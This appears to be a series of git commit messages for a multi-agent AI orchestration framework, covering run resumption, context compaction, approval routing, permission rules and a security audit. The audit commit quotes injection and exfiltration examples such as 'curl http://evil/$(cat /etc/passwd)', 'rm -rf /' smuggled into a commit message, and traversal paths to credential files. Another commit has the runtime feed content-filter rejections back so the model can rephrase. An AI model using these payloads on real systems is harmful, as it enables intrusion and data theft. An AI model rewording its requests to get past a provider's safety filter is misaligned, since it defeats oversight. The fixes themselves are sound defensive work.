OBS-11 — stop/resume killed pure-native runs over a phantom external pin.
Role templates' preferred_external_agent leaked into execution identity even
when the user requested native and execution actually ran native; on resume
the availability gate trusted the pin and failed every non-terminal item.
Root fixes across the whole chain:
- Staffing card per-role defaults are now the RESOLVED backend (explicit
session agent choice > runnable template preference > native), never a
hardcoded external default; seat enrichment and the dispatch selector's
locked branch downgrade provably unavailable externals to native and
record the wish in execution_agent_unavailable.
- The resume availability gate fails closed only when a resumable external
session actually exists; a bare pin heals to native (snapshot AND task
durable identity) and the run resumes — mirroring dispatch fallback.
- Suspend-checkpoint replies: force_resume (chat/headless spelling) is
recognized alongside ui_force_resume, and bare continuation tokens
(English and Chinese spellings) take the plain-resume path instead of
being routed to the final decider as content, which reopened the
already-approved intake card.
OBS-5 — failed runs never closed and dropped new input. The dispatcher's
convergence exit now settles terminally-failed runs (status=failed,
lifecycle=closed_failed, run_failure metadata) and emits a
company_run_failure_review card whose replies never swallow messages:
dismiss acknowledges, content falls through so normal routing starts a
fresh run. _maybe_resume_existing_company_runtime no longer re-executes a
terminally-failed tree: control replies get an honest closed status,
content-bearing input starts a new run.
OBS-6 — provider quota exhaustion terminally failed work items. Rate-limit
rejections are classified (LLMProvider.is_rate_limit_error, covering
status codes, exception types, and English/Chinese provider error text),
the agent runtime raises typed ProviderQuotaExhaustedError instead of
burning conversation-feedback retries, and the company dispatcher parks:
the item returns to READY (attempt interrupted, no terminal failure), the
member session idles, and claiming backs off exponentially (60s doubling
to a 900s cap; a quiet 30min resets the streak) before resuming
automatically.
Verified end-to-end on the real minimax-m3 campaign: same goal, same 300s
stop point, same run shape that previously killed the whole tree within
90s now resumes cleanly and completes with all items approved; staffing
defaults native for all 11 roles.
Tests: test_stop_resume_native_pin (10), test_run_failure_settlement (6),
test_provider_quota_park (9); attempt-ledger, recruiter, and
suspend-resume suites updated to the new contracts (their old assertions
pinned the defective behaviors).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Align native context management with the Claude Code / Codex model:
entry-capped tool results, history frozen below the threshold, one
high-quality summary at the wall — instead of the old pipeline that
microcompacted old messages from 60% usage and hid everything past 40
messages behind a snip marker with no summary.
- context pipeline: history below the hard threshold is never rewritten
(model quality and prompt-cache prefixes depend on byte-identical old
messages); the 60% tool-aware microcompact and the 40-message history
snip move to an emergency-only fallback used under overflow pressure
when the summarizer is unavailable or circuit-broken.
- durable compaction (was a stub): at usage >= context_guard.hard_threshold
(now 0.90, soft_threshold removed) the old span is folded into a
9-section summary via the new HistoryCompactor.summarize_runtime_history,
keeping the system head, the seed user request verbatim on every round
(injected session-memory/artifact messages shift the stale
base_prefix_len, so the fold start is structure-aware), and a
pairing-safe recent tail. A previous summary stays foldable, so exactly
one summary exists at a time and rounds chain.
- token accounting anchors on the provider-reported prompt size of the
latest request (max with the local estimate).
- reactive_compaction.circuit_breaker_failures (previously unread) now
stops repeated summarizer failures; provider overflow errors retry
through the same pipeline, summary-first.
- tool-result budget clip keeps head and tail instead of tail-chopping.
- chat-side transcripts get the same treatment: new
MemoryManager.maybe_compact_session_history wires the threshold-gated
maybe_compact_session into secretary, office_ui dispatcher, and
context_loader before prompt building, closing the unbounded-growth
path; dead no-op compactor entries (maybe_compact_after_message,
should_compact_prompt) removed.
Verified by 13 new tests (history sanctity below threshold, multi-round
single-summary/seed-verbatim/chain invariants, breaker, emergency
fallback, provider-overflow end-to-end recovery) plus a live-provider
probe: multi-round compaction with the model completing correctly from
summarized context. Full suite: 1859 passed.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
PR #9 broadened token invalidation in two spots that also fired on
non-terminal results, breaking resume continuity for parked runs:
- _persist_session cleared the canonical role token and the task's
resume pin on any result.status != DONE. An approval park
(AWAITING_HUMAN) therefore wiped continuity right before the human
approved, and the retry restarted the external thread from scratch.
Both clears are now gated on _SESSION_INVALIDATING_RESULT_STATUSES
(terminal failures only).
- _stored_provider_token_allows_resume returned False whenever the
newest row for a token was not done/suspended, so a run parked on
approval vetoed its own token at the next restore. The verdict is
now tri-state: terminally failed rows still return False (wipe),
finalized rows return True, and live-but-unfinalized rows return
None (keep the pin) — except provider_stream tokens, which keep the
strict pre-existing rule via strict=True since an unfinalized stream
row may belong to a crashed attempt.
Regression tests: approval park keeps role token and task metadata;
restore keeps a canonical token whose newest row is awaiting_human;
unfinalized provider_stream tokens are still rejected.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Two user-visible defects in company mode, root-caused via project 6666/8888
DB forensics:
Progress-row flicker (thinking preview appearing/disappearing): progress
entries were broadcast to clients before reaching the persistence buffer,
so a tool_call-triggered session_detail snapshot rebuilt from the DB erased
freshly streamed entries from the live log. Buffer now fills before the
broadcast and session_detail flushes it before reading.
Native role transcripts incomplete (thinking only at start, no narration,
no final summary — external agents unaffected):
- thinking deltas shared one stream id per conversation turn while seq
reset per iteration, collapsing all iterations into one entry and
silently dropping live thinking from iteration 2 on; now keyed per
iteration like assistant deltas
- assistant_delta events were mapped to None; company mode now surfaces
them as streaming 'assistant' progress entries (rendered as Reply cards,
merged like thinking, excluded from inline chat rows)
- thinking was persisted one row per token, flooding the 1000-entry cap
and evicting interleaved tool history; append_progress now folds
streaming deltas per (type, turn, stream) with seq dedup
- the terminal company turn was hidden at summary detail and, worse, its
id-keyed backfill merge kept the first-inserted intermediate content, so
the final reply never reached any channel; terminal turns are now
flagged company_final_turn, visible at summary detail, and carry their
own ui_message_id so they insert as fresh rows
- appendProgressEntry applied its seq guard against unrelated entries when
the stream key was absent from the log, killing the first delta of any
fresh stream; the guard now only applies within the same stream
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Project 3333 forensics: env_engineer sent a blocking question to the CTO,
got a full reply 96s later, and still deadlocked the whole run — the
park half (`_park_for_blocking_comms`) had no wired consumer, so
WAITING_FOR_PEER work items could never be released.
Unpark path (root fix):
- The dispatcher loop now calls `_try_unpark_blocking_comms` each tick
for parked, non-in-flight tasks; blocking replies land as durable
inbox files, so the check is read-only until all replies are present.
- `_try_unpark_blocking_comms` accepts orphaned waits (peer_wait
stripped by the legacy resolver while the work item stayed parked)
and falls back to the park predicate itself: an empty unresolved
blocking outbox releases the task, anything pending keeps it parked.
- `resolve_task_peer_wait` no longer touches comms_blocking waits (it
flipped task.status without the work-item phase and stripped the
peer_wait evidence); `_resume_peer_checkpoint` re-enters the company
runtime for comms/orphaned waits and lets the dispatcher converge.
File tools (defaults changed at their declaration sites, honoring the
"empty tools = everything, explicit list = exactly that" contract):
- corporate builtin groups gain file_write/file_edit for coordination,
QA, and data-acquisition roles.
- all shipped org YAML role tool lists gain the missing
file_write/file_edit entries.
- coordination turn modes no longer strip file_write/file_edit at
runtime — in-context content (briefs, matrices) must be persistable
instead of getting trapped in blocking DM hand-offs.
Also includes the pending office_ui ws_handler change from the working
tree.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Collapse the dual permission stack into one policy. The runtime-side
ToolPermissionResolver (own safe lists, own grant memory, bypassed the
ApprovalEngine whenever it said ALLOW) is deleted; runtime_v2 now consults
ApprovalEngine.predict(), a synchronous fast path reading the same config
and the same persisted allowlist as the async authorize pipeline, so a
grant given anywhere is honored everywhere. permissions.py keeps only a
policy-free adapter; the duplicated permissions_v2 config fields and the
runtime grant persistence loop are removed (stale YAML keys are ignored).
New shell_safety module becomes the single source of truth for shell
classification: flag-audited read-only commands (awk/od/jq/sed -n/diff/
git subcommand table/... auto-allow; find -delete, sort -o, curl -o/-d,
rg --pre still prompt even when the bare name is config-listed),
keyword-aware compound splitting (loop/branch headers no longer poison
grants), expansion-safe $() handling, and fail-closed treatment of
anything unparseable or substitution-bearing.
Grant semantics are rebuilt around derived word-boundary prefixes:
"python3 -c" instead of token bags, interpreter -c/-m kept in the prefix,
bash/eval/sudo never grantable as prefixes, read-only segments exempt
from the every-candidate-must-match rule so a granted command chained
with ls/echo verification passes, and approve-once now records the exact
candidates as a session grant so identical re-runs stop re-prompting.
The authorize heuristic also audits the original command text instead of
the quote-dropping preview (echo "<EOF>" no longer reads as redirection).
Validated live on zz_perm_probe1 (native minimal org): awk/od/ls/cat/
sha256sum ran with zero cards, python3 -c parked once and three different
python3 -c commands then passed via the persisted prefix grant, and an
agent-issued rm -f compound correctly re-prompted showing only the
segments needing approval. Full suite failures are byte-identical to the
pre-change HEAD baseline (27 pre-existing).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Approval cards raised by company-mode internal scheduling turns (review/report
work items, session ids like `<root>:review::<wid>::vN`) were posted to the
turn's own session channel, which the UI deliberately hides. The card silently
timed out after 300s and the work item parked on AWAITING_HUMAN, so users saw
only the gate card and never the approval prompt. ws_handler now detects these
internal turns and routes their escalation cards to origin_task_id, the root
session's primary task channel, or the activity channel — never the hidden one.
Also unblocks the previously dead origin/session fallbacks in the resolver.
Unclassified LLM stream failures (e.g. provider content-filter rejections like
"input may contain sensitive information") used to hit a blind truncate-retry
loop that replayed the identical payload for a dozen-plus consecutive failures.
runtime_v2 now feeds the provider's verbatim error text back into the
conversation as a "[runtime notice]" system message so the model can adapt
(rephrase, drop quotes, change tack), bounded at 2 feedback retries (counter
resets on any successful stream) plus one context-reset attempt, then fails
honestly with the real error. The blind truncate path remains only for
classified tool-protocol errors.
Verified: new end-to-end tests for recover-after-notice and bounded-failure;
runtime_v2 + ws_handler + escalation/approval + company-mode suites all green.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Native agent progress panel (company mode):
- ws_handler: filter runtime bookkeeping noise (turn/status/member_inbox_updated),
keep tool_completed as tool_call, thinking summary previews content,
preserve raw thinking_delta fragments (no strip; skip whitespace-only)
- frontend progressLog: summarize thinking by content preview; merge thinking
by detail only so the 'Thinking' label never splices into text
- AgentProgressBlock: add bottom "Show more (N earlier steps)" toggle
ui_state.db "database is locked" hardening:
- ws_handler: isolate engine progress/kanban/runtime-event callbacks so UI
persistence failures never crash work items
- chat_store: busy_timeout, _retry_locked backoff, idempotent insert_message
(INSERT OR REPLACE), create_channel read-before-write to stop poll writes
- server: flock single-instance guard for `opc ui` per OPC home
Approval card duplicate-click bug:
- EscalationPanel: disable buttons on click with Submitting state and 30s
reconnect fallback
- ws_handler: stale-escalation branch checks real card status (new
chat_store.get_checkpoint_message); already-resolved cards get an accurate
"already handled (decision: X)" reply without being re-marked stale;
dedup identical helper messages within 120s to stop reply spam
Company mode prompt:
- add soft guidance that the runtime monitors state and re-activates roles,
so leaders need not poll work items after delegation/review
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Loguru has no exc_info kwarg: extra kwargs are str.format() arguments, so
logger.error(f"...{e}", exc_info=True) forces .format() on the rendered
message — any error text containing braces (e.g. a JSON error body) raises
KeyError FROM the log call itself, escaping the surrounding except block and
killing the caller (observed: whole agent turns dying in benchmark runs).
The intended traceback was also never logged, since exc_info is not a loguru
feature.
Batch fix of all 143 sites across 11 files:
logger.X(msg, exc_info=True) -> logger.opt(exception=True).X(msg)
(one exc_info=exc site -> opt(exception=exc))
Messages are byte-identical; with the kwarg gone loguru never calls
.format(), so brace-containing f-string messages are inert.
Verified: AST post-conditions per file, py_compile, import smoke of all
modules, behavioral equivalence of the 3 patterns, full unit suite (1549
passed) with a failure set identical to the pristine tree (22 pre-existing,
zero regressions).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Also add pixel-agents to the README acknowledgements.
A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.
Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
A message like `foo" && rm -rf / #` injected arbitrary commands, and the
approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
`$(curl ...)` was executed. Now shlex-quoted.
Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
manifest) was used directly as a directory name under prompts/market and
passed to mkdir(parents=True) / shutil.rmtree. An id like
`../../projects/<victim>` enabled arbitrary file write and arbitrary
directory deletion. Added _market_prompts_dir() which validates the id
(lowercase alphanumeric + -/_) and confirms the resolved path stays inside
the market base; uninstall validates up front. Prompt-content filenames are
also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
role id/name) flowed unchecked into the path, enabling traversal writes.
Now reduced to a safe path component with a containment check.
Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
auto-approved as LOW risk even when it contained shell command substitution.
`curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
human/LLM review, letting bash exfil data. Added
_command_has_shell_substitution() and gated safe-prefix matching on it.
Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
the `-Command` flag from PowerShell argv (4 elements), silently breaking
every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
JSON array) were silently replaced with `{}` while arguments_parse_error
stayed None, so the tool executed with empty args (todo_write could wipe the
task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
store.initialize() (via _sweep_stale_claims), so a single corrupt row
prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
`.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
outbound dispatch loop and silently stopped all message delivery on every
channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
`data.get` raise AttributeError and drop the whole WS connection. Non-dict
frames are now ignored.
Co-Authored-By: Claude <noreply@anthropic.com>